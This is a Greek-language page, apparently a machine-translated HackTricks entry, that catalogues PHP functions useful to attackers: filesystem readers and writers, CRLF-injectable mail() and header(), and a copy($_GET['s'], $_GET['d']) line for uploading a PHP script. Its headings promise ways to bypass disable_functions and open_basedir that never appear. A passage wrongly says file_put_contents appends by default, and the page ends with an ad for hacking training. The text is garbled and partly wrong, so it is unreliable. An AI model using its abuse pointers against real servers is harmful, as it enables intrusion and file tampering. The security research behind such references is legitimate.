Όταν οι disable_functions είναι ενεργοποιημένες στην ρύθμιση του PHP, ορισμένες συναρτήσεις απενεργοποιούνται και δεν μπορούν να χρησιμοποιηθούν από τον κώδικα PHP. Ωστόσο, υπάρχουν ορισμένες τεχνικές που μπορούν να χρησιμοποιηθούν για την παράκαμψη αυτών των περιορισμών.

Παράκαμψη του open_basedir

Το open_basedir είναι μια ρύθμιση ασφαλείας στο PHP που περιορίζει τις δυνατότητες πρόσβασης σε αρχεία και φακέλους. Ωστόσο, υπάρχουν τεχνικές που μπορούν να χρησιμοποιηθούν για την παράκαμψη αυτού του περιορισμού και να επιτραπεί η πρόσβαση σε αρχεία και φακέλους που βρίσκονται εκτός του open_basedir.

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Συναρτήσεις Αρχείου Συστήματος

Σύμφωνα με το RATS, όλες οι συναρτήσεις αρχείου στην PHP είναι επικίνδυνες. Ορισμένες από αυτές δεν φαίνονται πολύ χρήσιμες για τον επιτιθέμενο. Άλλες είναι πιο χρήσιμες από ό,τι θα μπορούσατε να φανταστείτε. Για παράδειγμα, αν το allow_url_fopen=On, τότε μπορεί να χρησιμοποιηθεί ένα URL ως διαδρομή αρχείου, οπότε μια κλήση στην copy($_GET['s'], $_GET['d']); μπορεί να χρησιμοποιηθεί για να ανεβάσετε ένα PHP script οπουδήποτε στο σύστημα. Επίσης, αν μια ιστοσελίδα είναι ευάλωτη σε ένα αίτημα που στέλνεται μέσω GET, κάθε μία από αυτές τις συναρτήσεις αρχείου συστήματος μπορεί να καταχραστείται για να δρομολογήσει και να επιτεθεί σε έναν άλλο κεντρικό υπολογιστή μέσω του διακομιστή σας.

Ανοιχτός χειριστής αρχείου συστήματος

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Εγγραφή στο σύστημα αρχείων (μερικώς σε συνδυασμό με ανάγνωση)

Μια από τις χρήσιμες λειτουργίες της γλώσσας προγραμματισμού PHP είναι η δυνατότητα εγγραφής σε αρχεία στο σύστημα αρχείων. Αυτό μπορεί να γίνει μερικώς σε συνδυασμό με την ανάγνωση από αρχεία.

Για να γράψετε σε ένα αρχείο, μπορείτε να χρησιμοποιήσετε τη συνάρτηση file_put_contents(). Αυτή η συνάρτηση δέχεται δύο ορίσματα: το όνομα του αρχείου και τα δεδομένα που θέλετε να εγγράψετε. Αν το αρχείο δεν υπάρχει, θα δημιουργηθεί αυτόματα. Αν υπάρχει ήδη, τα νέα δεδομένα θα προστεθούν στο τέλος του αρχείου.

Για παράδειγμα, η παρακάτω γραμμή κώδικα θα εγγράψει το κείμενο "Hello, World!" στο αρχείο "example.txt":

file_put_contents("example.txt", "Hello, World!");

Επίσης, μπορείτε να συνδυάσετε την εγγραφή με την ανάγνωση από ένα αρχείο. Για παράδειγμα, μπορείτε να διαβάσετε τα περιεχόμενα ενός αρχείου και να τα εγγράψετε σε ένα άλλο αρχείο:

$data = file_get_contents("input.txt");
file_put_contents("output.txt", $data);

Με αυτόν τον τρόπο, μπορείτε να αντιγράψετε τα περιεχόμενα ενός αρχείου σε ένα άλλο αρχείο.

Είναι σημαντικό να προσέξετε τα δικαιώματα πρόσβασης στα αρχεία και να εξασφαλίσετε ότι έχετε την απαιτούμενη άδεια για να εγγράψετε σε αυτά.

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Ανάγνωση από το σύστημα αρχείων

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated